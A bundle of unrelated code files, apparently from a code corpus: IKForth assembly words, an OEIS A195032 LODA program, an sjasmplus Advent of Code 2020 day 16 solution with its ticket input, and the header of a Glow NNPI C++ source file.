,5334728207404302438396453128740400,17045107199267405351949642923536400,53570336911983273963270306331114400,165694297890552917142208156791586400,504614452666683884023997568410740400
add $0,90
bin $0,90
|
;******************************************************************************
;
; header-itc.asm
; IKForth
;
; Unlicense since 1999 by Illya Kysil
;
;******************************************************************************
; HEADER & support words - implementation for ITC (Indirect Threaded Code)
;******************************************************************************
; CFA@
; D: xt -- code-addr
; code-addr is the code address of the word xt
$COLON 'CFA@',$CFAFETCH
CW $FETCH
$END_COLON
; CFA!
; D: code-addr xt --
; Change a code address of the word xt to code-addr
$COLON 'CFA!',$CFASTORE
CW $STORE
$END_COLON
; CODE-ADDRESS!
; D: code-addr xt --
; Create a code field with code address code-addr at xt
; Alias to CFA! on ITC systems
$COLON 'CODE-ADDRESS!',$CODE_ADDRESS_STORE
CW $CFASTORE
$END_COLON
$CONST 'HOST-ITC?',,F_TRUE
$CONST 'HOST-DTC?',,F_FALSE
|
; A195032: Vertex number of a square spiral in which the length of the first two edges are the legs of the primitive Pythagorean triple [5, 12, 13]. The edges of the spiral have length A195031.
; 0,5,17,27,51,66,102,122,170,195,255,285,357,392,476,516,612,657,765,815,935,990,1122,1182,1326,1391,1547,1617,1785,1860,2040,2120,2312,2397,2601,2691,2907,3002,3230,3330,3570,3675,3927,4037,4301,4416,4692,4812,5100,5225,5525,5655,5967,6102,6426,6566,6902,7047,7395,7545,7905,8060,8432,8592,8976,9141,9537,9707,10115,10290,10710,10890,11322,11507,11951,12141,12597,12792,13260,13460,13940,14145,14637,14847,15351,15566,16082,16302,16830,17055,17595,17825,18377,18612,19176,19416,19992,20237,20825,21075,21675,21930,22542,22802,23426,23691,24327,24597,25245,25520,26180,26460,27132,27417,28101,28391,29087,29382,30090,30390,31110,31415,32147,32457,33201,33516,34272,34592,35360,35685,36465,36795,37587,37922,38726,39066,39882,40227,41055,41405,42245,42600,43452,43812,44676,45041,45917,46287,47175,47550,48450,48830,49742,50127,51051,51441,52377,52772,53720,54120,55080,55485,56457,56867,57851,58266,59262,59682,60690,61115,62135,62565,63597,64032,65076,65516,66572,67017,68085,68535,69615,70070,71162,71622,72726,73191,74307,74777,75905,76380,77520,78000,79152,79637,80801,81291,82467,82962,84150,84650,85850,86355,87567,88077,89301,89816,91052,91572,92820,93345,94605,95135,96407,96942,98226,98766,100062,100607,101915,102465,103785,104340,105672,106232,107576,108141,109497,110067,111435,112010,113390,113970,115362,115947,117351,117941,119357,119952,121380,121980,123420,124025,125477,126087,127551,128166,129642,130262,131750,132375
mov $2,$0
mul $2,$0
mov $4,1
mov $7,$0
lpb $0,1
sub $0,1
trn $0,1
sub $2,$4
add $4,7
mov $5,$2
lpe
mov $4,1
add $5,2
mul $4,$5
mov $1,$4
sub $1,2
mov $3,$7
mul $3,3
add $1,$3
mov $6,$7
mul $6,$7
mov $3,$6
mul $3,2
add $1,$3
|
; https://adventofcode.com/2020/day/16 (part 1)
OPT listoff : DEVICE ZXSPECTRUMNEXT : MMU 0 7, 0, $0000
; too lazy to write input file parser, so input is manually converted into script source
IF 0 ; 1 for test input run
;========================= test input ===============================
DEFINE N_IS_CLASS ((1 <= n && n <= 3) || (5 <= n && n <= 7))
DEFINE N_IS_ROW ((6 <= n && n <= 11) || (33 <= n && n <= 44))
DEFINE N_IS_SEAT ((13 <= n && n <= 40) || (45 <= n && n <= 50))
DEFARRAY N_IS_VALID N_IS_CLASS, N_IS_ROW, N_IS_SEAT
your_ticket:
DW 7,1,14
TICKET_FIELDS EQU ($ - your_ticket) >> 1
nearby_tickets:
DW 7,3,47
DW 40,4,50
DW 55,2,20
DW 38,6,12
NEARBY_TICKETS_COUNT EQU ($ - nearby_tickets) / (TICKET_FIELDS<<1)
;========================= end of test input ========================
ELSE
;========================= task input ===============================
; steps to turn file rules into N_IS_* rules:
; 1) upper case everything (Ctrl+U in Kate text editor)
; 2) regex search&replace (Ctrl+R in Kate text editor, use options to select regex):
; find: (.*)\ (.*):
; replace: \1_\2:
; (replaces space in value name with underscore)
; 3) regex search&replace:
; find: (.*): (\d+)-(\d+) OR (\d+)-(\d+)
; replace: DEFINE N_IS_\1 ((\2 <= n && n <= \3) || (\4 <= n && n <= \5))
; (makes the rule as DEFINE in expected form of boolean evaluator)
; 4) copy the new block of DEFINE rules second time to create list for DEFARRAY:
; 5) regex search&replace:
; find: ^\s+DEFINE\ (\w+)\ .*\n
; replace: \1,
; 6) manually remove last comma and add " DEFARRAY N_IS_VALID " ahead
; (steps to convert the ticket lines ... figure it out yourself, regex is handy skill!)
DEFINE N_IS_DEPARTURE_LOCATION ((41 <= n && n <= 598) || (605 <= n && n <= 974))
DEFINE N_IS_DEPARTURE_STATION ((30 <= n && n <= 617) || (625 <= n && n <= 957))
DEFINE N_IS_DEPARTURE_PLATFORM ((29 <= n && n <= 914) || (931 <= n && n <= 960))
DEFINE N_IS_DEPARTURE_TRACK ((39 <= n && n <= 734) || (756 <= n && n <= 972))
DEFINE N_IS_DEPARTURE_DATE ((37 <= n && n <= 894) || (915 <= n && n <= 956))
DEFINE N_IS_DEPARTURE_TIME ((48 <= n && n <= 54) || (70 <= n && n <= 955))
DEFINE N_IS_ARRIVAL_LOCATION ((39 <= n && n <= 469) || (491 <= n && n <= 955))
DEFINE N_IS_ARRIVAL_STATION ((47 <= n && n <= 269) || (282 <= n && n <= 949))
DEFINE N_IS_ARRIVAL_PLATFORM ((26 <= n && n <= 500) || (521 <= n && n <= 960))
DEFINE N_IS_ARRIVAL_TRACK ((26 <= n && n <= 681) || (703 <= n && n <= 953))
DEFINE N_IS_CLASS ((49 <= n && n <= 293) || (318 <= n && n <= 956))
DEFINE N_IS_DURATION ((25 <= n && n <= 861) || (873 <= n && n <= 973))
DEFINE N_IS_PRICE ((30 <= n && n <= 446) || (465 <= n && n <= 958))
DEFINE N_IS_ROUTE ((50 <= n && n <= 525) || (551 <= n && n <= 973))
DEFINE N_IS_ROW ((39 <= n && n <= 129) || (141 <= n && n <= 972))
DEFINE N_IS_SEAT ((37 <= n && n <= 566) || (573 <= n && n <= 953))
DEFINE N_IS_TRAIN ((43 <= n && n <= 330) || (356 <= n && n <= 969))
DEFINE N_IS_TYPE ((32 <= n && n <= 770) || (792 <= n && n <= 955))
DEFINE N_IS_WAGON ((47 <= n && n <= 435) || (446 <= n && n <= 961))
DEFINE N_IS_ZONE ((30 <= n && n <= 155) || (179 <= n && n <= 957))
DEFARRAY N_IS_VALID N_IS_DEPARTURE_LOCATION,N_IS_DEPARTURE_STATION,N_IS_DEPARTURE_PLATFORM,N_IS_DEPARTURE_TRACK,N_IS_DEPARTURE_DATE,N_IS_DEPARTURE_TIME,N_IS_ARRIVAL_LOCATION,N_IS_ARRIVAL_STATION,N_IS_ARRIVAL_PLATFORM,N_IS_ARRIVAL_TRACK,N_IS_CLASS,N_IS_DURATION,N_IS_PRICE,N_IS_ROUTE,N_IS_ROW,N_IS_SEAT,N_IS_TRAIN,N_IS_TYPE,N_IS_WAGON,N_IS_ZONE
your_ticket:
DW 71,127,181,179,113,109,79,151,97,107,53,193,73,83,191,101,89,149,103,197
TICKET_FIELDS EQU ($ - your_ticket) >> 1
nearby_tickets:
DW 909,469,709,246,389,667,389,288,817,242,942,255,428,712,187,861,821,552,229,253
DW 373,887,919,576,884,946,794,434,376,843,327,658,587,232,796,228,671,878,947,559
DW 554,199,222,610,427,81,235,884,947,81,670,672,643,369,805,611,892,615,274,658
DW 261,378,571,124,111,153,801,196,830,759,257,189,361,382,942,889,613,493,496,320
DW 98,265,894,196,859,594,267,99,7,286,616,665,97,356,524,382,641,290,563,813
DW 947,259,423,939,155,608,282,150,890,147,140,323,808,284,466,725,214,799,96,86
DW 631,265,836,523,86,147,557,542,610,647,398,730,242,243,717,705,72,811,734,556
DW 746,577,386,713,646,127,433,399,243,218,949,225,933,244,827,726,189,625,358,859
DW 90,670,369,154,97,110,188,829,585,383,828,469,190,837,199,245,668,585,400,136
DW 221,855,756,92,86,207,414,395,183,731,591,239,114,798,212,609,708,252,594,602
DW 401,816,196,703,822,792,522,605,119,793,259,254,384,815,552,83,874,582,137,812
DW 186,677,891,259,730,424,653,655,397,947,689,107,363,711,182,415,757,667,70,860
DW 933,401,208,402,388,358,552,713,720,185,307,183,834,141,433,596,641,394,358,665
DW 193,239,553,809,250,466,801,124,776,200,430,376,143,580,367,51,764,576,824,390
DW 378,658,705,644,657,561,521,703,854,375,679,320,500,216,138,614,254,758,124,287
DW 70,808,469,189,323,847,393,833,830,234,883,188,229,830,853,986,673,641,83,406
DW 421,703,741,78,586,116,833,628,182,662,629,258,202,495,674,96,670,101,328,287
DW 608,821,634,155,117,661,103,781,84,756,770,321,119,362,816,681,879,878,759,420
DW 626,239,647,839,2,228,265,293,576,949,592,410,659,885,434,379,257,947,794,671
DW 666,252,811,370,328,54,716,241,874,757,50,495,652,75,933,935,144,1,143,101
DW 594,283,842,605,894,98,368,803,114,797,5,98,379,932,330,200,680,584,645,824
DW 492,290,76,579,100,762,856,812,148,617,183,833,380,757,52,293,68,875,366,873
DW 792,582,392,329,210,846,662,388,310,183,705,410,100,769,125,719,251,366,71,87
DW 558,669,801,80,881,497,981,112,582,597,97,804,652,938,671,842,617,287,708,422
DW 376,802,398,708,389,581,403,212,851,651,225,848,150,791,118,834,857,83,680,592
DW 358,803,629,933,416,944,226,706,795,5,936,129,467,849,253,829,179,734,228,244
DW 433,825,67,236,388,858,880,427,943,400,842,723,564,633,408,79,836,592,704,328
DW 366,402,988,892,469,941,829,90,876,662,879,556,200,590,86,733,229,768,421,409
DW 316,397,806,848,148,382,641,92,850,366,633,392,373,642,793,635,240,826,144,389
DW 318,647,154,382,597,672,321,238,220,88,674,472,402,521,121,769,326,795,890,221
DW 946,385,361,855,598,399,361,409,595,852,225,588,368,556,826,853,721,232,6,850
DW 847,323,626,254,719,938,122,656,806,578,88,556,229,894,579,105,554,266,152,342
DW 207,396,152,390,704,854,563,128,658,254,610,801,221,302,398,89,149,845,403,847
DW 793,180,225,427,723,721,793,811,212,380,270,817,180,770,359,196,415,494,229,383
DW 894,815,641,356,239,143,384,759,469,586,772,598,800,633,606,358,651,109,805,796
DW 551,102,940,715,831,560,399,599,591,250,816,246,587,852,382,416,284,636,585,420
DW 858,643,758,564,84,821,388,183,259,627,647,523,404,251,779,551,731,73,733,185
DW 647,948,663,241,837,219,687,522,521,796,122,756,418,876,887,942,795,74,762,244
DW 500,224,845,426,800,388,492,11,829,183,393,804,889,838,181,807,586,417,829,98
DW 77,936,231,116,211,874,385,572,357,248,825,374,833,236,384,769,764,855,71,794
DW 268,856,941,677,449,384,242,187,218,236,821,655,811,400,197,798,415,198,219,211
DW 664,183,420,189,400,846,584,611,82,204,585,263,614,498,608,278,425,680,612,707
DW 111,270,420,838,196,844,616,392,415,107,652,153,729,757,664,522,183,499,805,499
DW 651,467,949,825,628,798,149,876,245,765,936,653,292,523,640,247,403,389,230,507
DW 717,627,678,145,826,195,197,402,981,240,885,524,207,521,287,647,680,232,208,408
DW 108,648,823,724,267,212,625,644,363,222,880,894,230,397,560,138,217,384,888,933
DW 235,403,659,13,841,429,262,769,363,180,359,262,392,236,823,492,266,566,658,389
DW 429,771,609,126,288,382,415,93,420,252,804,282,879,588,805,384,231,830,379,263
DW 318,82,815,648,290,414,793,558,369,946,646,721,196,7,931,798,637,820,117,204
DW 673,265,664,850,556,627,194,50,84,431,403,895,705,597,820,76,893,628,360,129
DW 940,419,618,70,435,816,586,837,51,117,210,881,836,846,664,194,88,676,885,643
DW 96,104,646,363,700,676,246,859,362,607,643,97,817,521,831,491,612,214,375,875
DW 828,935,727,762,568,237,122,819,235,710,234,816,834,856,634,713,222,419,934,326
DW 636,107,591,594,264,879,850,658,825,148,606,659,223,629,70,806,224,606,914,179
DW 776,617,116,650,576,105,556,625,142,770,363,360,722,108,389,72,124,109,888,320
DW 678,587,498,841,54,712,200,271,631,368,265,766,330,830,97,816,587,798,242,369
DW 418,938,606,580,433,494,716,909,150,633,797,369,887,51,255,593,197,256,720,891
DW 873,239,817,522,71,575,800,117,935,891,640,668,579,255,887,152,771,393,807,817
DW 236,150,433,405,52,728,631,136,856,616,122,844,524,814,413,525,418,815,71,814
DW 89,392,497,939,655,669,403,880,697,226,887,860,525,667,796,666,109,105,561,401
DW 638,576,615,708,621,655,391,491,652,616,126,225,656,230,937,398,839,728,398,249
DW 238,392,798,235,667,493,119,149,827,715,98,112,800,200,51,398,125,260,13,465
DW 195,86,416,949,235,468,666,181,541,936,431,212,145,573,625,418,847,325,596,187
DW 230,724,371,256,733,205,101,715,403,126,675,883,730,519,767,885,151,875,893,650
DW 666,330,480,201,827,402,644,796,946,141,625,119,823,598,758,665,894,121,945,73
DW 255,989,840,121,806,86,193,264,611,812,84,813,560,793,664,323,108,707,627,375
DW 219,630,225,129,823,591,809,824,881,938,798,357,887,75,661,247,620,207,795,378
DW 454,635,500,426,98,942,617,126,647,230,122,887,637,269,375,391,290,125,129,231
DW 328,830,460,630,242,219,252,763,657,719,210,767,587,372,243,730,259,616,182,379
DW 525,576,118,596,101,221,75,320,804,617,206,763,637,762,575,858,594,703,603,826
DW 947,884,363,408,607,810,498,817,421,617,566,109,291,605,800,832,812,679,690,51
DW 84,823,636,139,521,242,947,639,880,263,559,248,211,655,816,801,573,78,713,207
DW 666,50,325,118,578,578,822,885,919,837,229,830,407,670,79,359,243,598,495,428
DW 848,86,673,946,239,803,209,401,882,105,144,90,324,227,629,207,87,851,650,976
DW 616,202,825,707,941,645,402,433,425,660,891,566,86,380,503,418,595,385,680,941
DW 815,264,268,874,54,839,84,74,10,944,803,143,422,411,760,812,833,186,672,557
DW 800,93,2,793,427,420,435,856,556,842,369,832,639,364,704,809,469,115,859,426
DW 884,381,725,841,249,321,105,588,845,579,219,513,255,431,651,584,825,252,370,936
DW 98,725,770,875,417,406,991,681,725,931,644,590,523,54,932,378,418,858,284,321
DW 330,415,503,521,598,209,384,761,669,426,241,879,499,576,190,88,218,380,811,102
DW 182,386,102,769,317,561,828,85,142,363,497,734,419,412,756,384,711,646,153,193
DW 233,609,141,615,731,239,768,402,359,575,984,861,681,677,213,560,412,674,560,264
DW 269,586,889,670,633,919,289,123,640,208,428,326,725,467,629,556,615,219,155,146
DW 222,801,987,415,325,283,721,657,947,941,850,847,559,146,641,679,81,73,794,206
DW 222,940,822,395,770,187,233,852,830,431,631,221,660,758,91,948,913,244,882,105
DW 256,766,364,586,148,892,260,122,710,659,80,387,631,407,701,129,213,236,76,393
DW 719,540,235,70,617,286,836,617,72,575,554,838,51,287,186,241,660,558,880,404
DW 244,844,374,727,255,579,891,195,681,575,645,581,936,552,369,79,134,367,196,324
DW 870,573,591,894,325,54,287,625,833,732,397,847,383,220,522,193,285,581,665,817
DW 724,667,582,100,677,412,318,19,108,292,632,412,734,155,635,761,939,583,223,650
DW 541,255,882,555,673,219,396,756,656,414,803,626,655,388,947,706,942,231,86,121
DW 330,662,885,220,405,886,107,114,192,356,667,222,884,368,921,837,607,937,848,495
DW 184,145,617,426,467,767,78,919,705,378,828,381,98,932,888,109,433,434,728,770
DW 234,730,230,122,155,196,384,683,667,420,805,327,249,670,886,239,947,761,91,716
DW 602,725,389,629,933,398,605,120,631,381,221,199,191,757,844,607,947,575,727,323
DW 681,52,777,184,321,768,213,104,76,667,372,826,721,80,665,880,187,195,759,834
DW 805,95,860,221,713,231,855,375,996,718,889,632,411,78,851,266,91,609,844,935
DW 579,111,185,792,648,325,265,121,716,551,411,124,655,648,324,106,503,215,662,939
DW 794,825,809,564,217,626,637,673,661,205,762,849,385,118,879,219,433,646,531,109
DW 792,873,760,194,240,773,363,573,564,609,78,289,812,432,390,556,206,402,802,251
DW 248,223,839,611,921,267,241,582,241,109,287,639,613,838,874,658,86,118,813,673
DW 127,758,940,561,837,212,114,841,129,289,662,497,371,293,591,758,269,1,228,182
DW 498,322,703,499,826,535,432,626,262,414,70,625,469,201,285,391,194,195,726,193
DW 221,734,399,556,731,820,497,752,127,818,606,845,680,941,221,105,469,383,730,405
DW 161,125,216,50,551,649,607,86,811,77,799,594,759,852,435,111,672,381,758,231
DW 393,78,200,360,828,125,122,208,122,803,837,450,590,242,938,629,83,809,214,51
DW 802,677,732,560,105,664,934,943,637,288,636,528,628,820,207,813,254,731,860,667
DW 214,630,434,561,710,726,808,88,851,797,647,673,126,113,0,647,727,415,365,266
DW 664,818,762,706,209,145,980,209,940,193,940,430,128,86,836,465,365,937,111,180
DW 795,551,84,838,367,387,609,732,837,369,720,129,468,695,665,805,573,835,97,85
DW 396,838,912,154,257,825,369,876,119,111,813,260,813,221,393,185,222,726,808,416
DW 560,762,189,84,563,237,434,706,660,820,124,589,652,824,996,147,612,641,521,369
DW 792,251,523,844,839,680,657,797,277,606,114,850,52,322,410,627,500,650,716,144
DW 598,301,154,606,414,403,385,365,888,122,647,877,102,861,145,659,861,525,593,197
DW 490,882,643,714,651,365,642,81,118,674,655,942,99,677,153,145,833,427,934,128
DW 855,185,536,426,642,826,422,403,931,829,385,641,432,858,238,285,466,640,831,818
DW 232,757,325,288,879,369,54,820,715,387,845,415,150,643,64,651,425,595,250,81
DW 836,397,399,670,392,758,674,111,395,497,876,849,799,328,100,306,883,555,222,491
DW 320,579,117,391,220,102,411,632,670,239,219,608,93,71,824,700,361,809,365,560
DW 838,113,198,851,410,628,254,117,766,734,145,618,467,948,237,840,761,75,375,231
DW 931,247,409,714,54,705,812,389,634,193,111,813,828,237,525,675,389,628,412,7
DW 567,766,198,219,878,598,705,847,933,656,649,239,730,709,318,607,153,216,810,588
DW 666,843,405,322,847,404,931,150,140,144,616,881,188,681,113,244,730,558,858,523
DW 857,656,226,231,580,940,842,618,663,579,611,551,876,850,565,389,406,284,521,144
DW 270,564,573,729,491,946,707,837,198,420,111,125,103,427,406,497,845,466,225,642
DW 520,631,552,832,380,590,813,716,290,605,711,231,551,629,214,323,383,91,574,254
DW 384,645,714,763,678,768,256,179,225,256,216,206,611,377,24,674,614,395,206,553
DW 429,762,122,894,591,716,244,638,882,129,252,421,795,144,281,413,560,558,256,94
DW 384,390,18,381,756,110,714,90,225,211,836,559,671,946,330,719,110,858,827,841
DW 692,329,575,589,892,396,116,124,709,645,720,366,209,224,717,616,255,629,234,845
DW 587,891,656,495,96,605,677,846,850,99,223,123,936,636,434,425,893,424,988,758
DW 613,734,99,611,200,792,580,630,881,247,815,363,829,874,360,425,673,799,941,691
DW 265,654,216,393,77,823,419,635,196,144,663,634,724,90,631,423,792,851,228,56
DW 245,426,127,525,711,727,411,814,944,713,77,823,523,225,839,498,224,275,84,468
DW 381,678,323,284,668,143,797,409,938,89,73,812,796,883,807,82,80,434,427,906
DW 89,804,653,653,112,633,221,184,98,416,610,102,106,253,538,814,424,417,554,327
DW 644,92,707,70,58,945,859,821,404,372,183,409,325,247,705,434,184,582,859,229
DW 203,810,875,841,732,795,823,22,497,610,260,661,499,376,880,666,236,594,426,593
DW 217,132,102,93,807,840,406,827,586,262,657,84,833,101,53,469,584,384,948,419
DW 184,430,932,362,404,845,809,247,881,204,50,404,725,854,908,793,203,833,372,797
DW 428,370,84,626,777,856,152,129,812,635,373,876,666,825,577,191,112,894,293,51
DW 820,591,649,326,130,670,265,932,893,664,838,151,611,207,241,725,585,369,656,240
DW 521,760,137,417,829,413,492,822,649,329,108,392,731,420,663,412,818,606,499,726
DW 827,427,827,420,179,146,492,126,183,226,804,712,651,275,321,593,556,121,845,99
DW 255,235,241,149,255,706,127,370,446,84,17,367,375,808,155,375,122,882,229,75
DW 430,803,995,391,886,424,257,152,196,566,893,851,380,429,934,254,671,148,153,384
DW 805,578,943,412,663,268,123,366,605,208,205,10,432,723,803,615,414,769,109,232
DW 232,668,852,389,743,556,123,820,716,118,848,389,949,947,78,582,377,792,77,374
DW 267,939,733,103,224,759,892,429,857,674,703,861,192,238,619,116,804,726,75,850
DW 936,211,115,143,155,839,18,848,95,610,431,626,143,873,328,256,249,525,194,561
DW 422,851,396,242,226,582,224,523,724,705,719,712,404,885,615,807,922,71,374,809
DW 384,268,241,575,708,253,320,840,610,575,363,216,240,892,283,144,129,356,269,163
DW 58,188,717,374,408,627,729,615,934,292,825,497,598,564,207,888,410,943,770,727
DW 999,887,184,404,766,423,610,396,854,213,77,78,432,845,644,936,325,321,644,655
DW 854,197,73,496,87,658,392,515,626,949,766,498,822,938,398,652,846,707,106,182
DW 590,114,96,654,522,882,216,853,947,73,797,568,607,556,939,715,565,154,239,100
DW 619,636,121,128,326,407,229,681,833,415,204,54,247,358,731,288,378,377,386,495
DW 646,418,859,653,882,558,807,643,381,886,209,220,598,703,118,245,406,70,124,619
DW 803,74,835,361,494,717,423,726,522,807,8,626,611,240,668,892,396,673,227,595
DW 422,584,563,146,263,318,72,727,934,125,555,142,722,641,947,372,366,999,662,116
DW 214,557,379,556,713,151,561,616,191,241,806,688,554,390,79,236,816,433,359,887
DW 712,148,218,229,468,840,183,112,501,552,321,728,714,427,605,71,188,636,573,767
DW 598,318,106,154,253,799,580,252,998,394,258,802,819,405,837,383,720,208,201,51
DW 195,234,874,673,241,515,793,650,144,580,233,109,658,123,148,53,264,392,193,672
DW 584,876,364,611,284,263,53,108,188,654,873,280,734,718,113,708,636,74,434,595
DW 628,948,792,678,81,636,118,563,293,103,514,421,386,834,607,706,100,573,202,398
DW 252,385,555,626,269,15,326,88,73,360,247,813,658,681,725,793,430,195,319,834
DW 253,189,814,654,148,765,586,822,262,616,767,73,666,527,290,78,412,402,731,202
DW 128,673,236,726,662,717,330,832,840,722,372,364,383,406,237,996,648,843,389,668
DW 396,108,371,149,843,830,181,416,626,762,387,887,815,616,366,228,215,404,150,461
DW 210,819,141,658,211,214,106,400,371,215,704,936,936,86,601,847,861,216,583,841
DW 605,985,676,319,636,291,428,630,414,890,426,886,108,706,574,72,246,377,576,843
DW 94,670,161,323,665,369,610,403,523,497,587,392,200,427,196,199,123,193,233,70
DW 607,422,889,803,361,74,645,230,583,873,238,217,90,681,316,409,794,151,74,886
DW 113,705,767,721,765,713,838,182,581,376,765,946,940,191,188,936,611,289,916,615
DW 497,381,103,362,71,11,819,287,663,90,656,205,265,853,817,378,650,794,495,384
DW 578,257,858,263,758,94,254,320,902,100,810,401,657,241,318,657,894,656,498,106
DW 245,387,628,639,392,852,650,425,414,840,536,100,235,73,580,149,942,179,673,524
DW 400,199,383,417,676,146,878,894,435,293,991,146,835,715,493,112,894,326,492,384
DW 844,725,78,607,127,603,655,574,230,825,361,817,212,636,95,152,250,707,384,191
DW 586,202,670,155,577,847,646,403,469,893,206,731,811,591,635,236,391,820,509,644
DW 409,798,698,565,552,201,841,854,103,583,859,495,630,254,226,288,223,83,390,406
DW 808,407,657,282,320,654,573,251,404,319,756,795,876,579,203,407,465,207,244,315
DW 858,491,713,244,282,946,323,716,106,677,811,628,84,889,890,707,493,709,767,548
DW 93,857,304,196,836,82,367,416,703,50,948,607,102,83,400,256,80,635,663,716
DW 585,723,108,316,581,647,582,468,187,496,799,757,814,887,638,376,117,491,590,948
DW 640,694,760,948,218,642,853,642,805,243,410,402,933,380,88,882,931,560,836,761
DW 850,554,893,187,857,718,190,767,562,989,720,949,422,108,941,853,291,190,801,676
DW 92,90,556,94,118,587,714,592,659,609,181,890,106,792,654,83,218,245,371,863
DW 630,597,792,121,360,193,104,241,855,609,386,789,617,937,585,705,580,586,391,825
DW 679,562,795,263,892,446,607,942,824,408,400,679,429,218,653,548,800,823,103,191
DW 182,588,424,199,51,851,722,606,607,593,588,715,193,728,129,434,112,576,106,568
DW 582,5,98,206,733,846,632,366,552,713,494,585,640,416,793,466,891,146,596,827
DW 650,715,234,73,418,728,89,293,82,830,860,139,199,673,648,940,662,672,765,563
DW 182,617,435,678,379,714,842,770,707,113,91,812,229,132,675,846,259,947,122,713
DW 637,795,600,715,837,376,286,936,142,564,194,806,663,827,418,728,243,92,365,368
DW 468,194,186,756,117,290,209,126,616,380,948,312,648,269,495,129,114,190,329,222
DW 187,212,795,659,401,673,323,583,575,272,366,646,234,246,629,103,766,379,248,235
DW 760,659,768,78,379,393,150,435,383,192,287,703,674,605,187,194,467,666,657,3
DW 665,850,497,497,543,806,705,203,663,717,843,123,102,562,150,93,658,252,254,496
DW 402,187,947,555,757,103,282,675,432,50,942,714,856,891,648,293,583,767,780,641
DW 639,330,193,318,114,644,282,803,728,141,254,598,409,615,725,639,549,770,289,257
DW 999,154,128,206,123,221,141,734,627,877,116,285,374,446,663,246,431,108,817,587
DW 675,408,280,726,706,392,286,435,196,669,288,93,254,207,839,793,287,364,319,716
DW 186,75,148,643,120,931,271,665,374,209,429,366,804,386,759,555,114,221,122,760
DW 671,761,234,560,362,446,114,944,553,729,524,659,894,210,229,388,728,818,142,742
DW 832,885,253,418,716,648,657,396,205,650,394,604,151,208,252,386,833,423,182,859
DW 854,78,120,668,272,400,206,703,722,126,678,428,211,943,242,220,251,198,256,493
DW 422,585,229,703,77,902,97,188,268,263,792,206,639,634,875,805,123,559,468,213
DW 291,231,407,885,601,73,383,934,398,838,414,122,118,671,360,839,329,106,648,938
DW 940,90,730,422,655,271,617,210,708,818,185,214,129,109,733,418,401,797,200,217
DW 219,719,792,54,319,561,388,768,250,125,605,243,613,496,123,677,153,267,195,786
DW 362,413,213,402,74,412,804,643,118,324,878,615,890,994,937,95,378,433,493,214
DW 406,671,84,889,884,186,564,564,372,769,119,561,385,802,82,757,270,555,632,383
DW 669,731,949,834,494,685,425,187,551,188,574,876,212,949,804,831,356,261,416,382
DW 886,680,239,430,820,258,367,310,717,803,803,328,420,726,844,224,851,678,78,724
DW 629,228,759,595,124,846,421,554,186,840,266,665,814,183,221,91,687,250,852,553
DW 893,223,586,767,850,125,378,71,807,694,227,103,766,665,366,831,197,237,390,842
DW 821,679,265,73,368,412,327,396,884,79,627,149,940,525,87,106,124,931,995,287
DW 818,591,823,617,187,310,75,816,151,716,609,200,703,889,500,580,726,381,396,396
DW 824,90,434,765,358,399,265,563,613,363,826,597,710,704,384,107,91,590,423,919
DW 138,565,257,84,807,199,119,667,667,235,932,634,220,244,814,841,254,931,385,943
DW 389,806,51,839,880,522,643,651,411,129,575,561,652,706,828,767,307,656,803,407
DW 76,759,388,667,99,401,147,885,598,229,226,82,946,714,746,237,397,597,427,722
DW 102,644,193,725,107,466,243,641,491,180,844,925,823,204,712,91,81,641,836,266
DW 330,638,588,278,837,218,638,715,231,654,713,703,247,664,328,885,826,378,713,852
DW 849,115,946,323,413,413,330,233,861,302,727,592,91,225,187,709,402,672,375,723
DW 322,195,841,248,465,137,212,86,240,289,848,362,446,406,426,551,116,285,467,632
DW 414,87,845,118,50,417,941,608,215,797,652,237,421,860,53,199,70,551,307,661
DW 129,764,839,191,225,183,663,760,249,389,199,803,884,325,725,126,975,590,233,552
DW 468,291,644,98,873,412,849,67,257,707,98,292,719,435,662,803,878,430,638,734
DW 734,944,656,816,905,257,946,268,655,376,195,574,626,795,880,236,592,109,946,595
DW 854,722,287,792,378,117,371,198,728,574,844,798,732,202,824,656,563,497,768,483
DW 186,142,887,760,179,108,320,329,428,880,155,741,818,142,521,609,579,645,616,874
DW 422,810,323,259,211,431,728,120,522,715,429,667,143,891,831,579,833,401,729,279
DW 4,610,73,933,935,226,889,756,652,562,802,500,237,939,834,656,381,892,241,813
DW 565,798,613,689,574,221,106,552,382,674,330,655,608,242,819,246,231,944,431,239
DW 799,820,390,876,72,196,73,234,197,712,629,239,997,422,126,141,649,403,432,717
DW 878,837,121,434,292,879,828,989,661,397,196,646,857,813,680,446,767,148,253,128
DW 254,630,265,428,877,654,581,662,86,798,430,58,850,90,365,423,577,805,320,760
DW 818,388,467,424,887,799,933,843,651,708,366,388,522,905,817,220,89,933,879,941
DW 879,153,236,255,78,60,729,419,644,326,654,142,665,947,561,521,842,291,936,496
DW 915,220,290,499,248,719,595,596,885,214,105,638,589,110,607,204,226,119,885,410
DW 141,193,402,414,816,466,255,822,51,191,361,416,290,822,893,799,604,153,401,231
DW 93,372,942,874,520,630,247,129,657,102,614,521,675,93,141,763,500,368,756,52
NEARBY_TICKETS_COUNT EQU ($ - nearby_tickets) / (TICKET_FIELDS<<1)
;========================= end of task input ========================
ENDIF
DISPLAY "Ticket has ",/D,TICKET_FIELDS," fields, there are ",/D,NEARBY_TICKETS_COUNT," nearby tickets"
inPtr = nearby_tickets
errorRate = 0
DUP NEARBY_TICKETS_COUNT * TICKET_FIELDS <? 1 + ((3 == __PASS__)&$7FFFFFFE)
; ^^ that ugly tail makes the DUP do only 1 repeat in early passes (third pass only) - speeds up execution
n = {inPtr} ; read some ticket value
inPtr = inPtr + 2
is_valid = 0
is_valid_i = 0
DUP N_IS_VALID[#] ; check it against all N_IS_VALID rules
is_valid = is_valid || N_IS_VALID[is_valid_i]
is_valid_i = is_valid_i + 1
EDUP
IF !is_valid ; if no rule was hit, add the value to error rate
errorRate = errorRate + n
ENDIF
EDUP
DISPLAY "Error rate: ",/D,errorRate
|
/*
* Copyright (c) Glow Contributors. See CONTRIBUTORS file.
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include "NNPIDeviceManager.h"
#include "Importer.h"
#include "InferencePool.h"
#include "NNPI.h"
#include "NNPICompiledFunction.h"
#include "NNPITracing.h"
#include "NNPIUtils.h"
#include "glow/Support/Error.h"
#include "nnpi_inference.h"
#include "nnpi_transformer.h"
#include "llvm/Support/CommandLine.h"
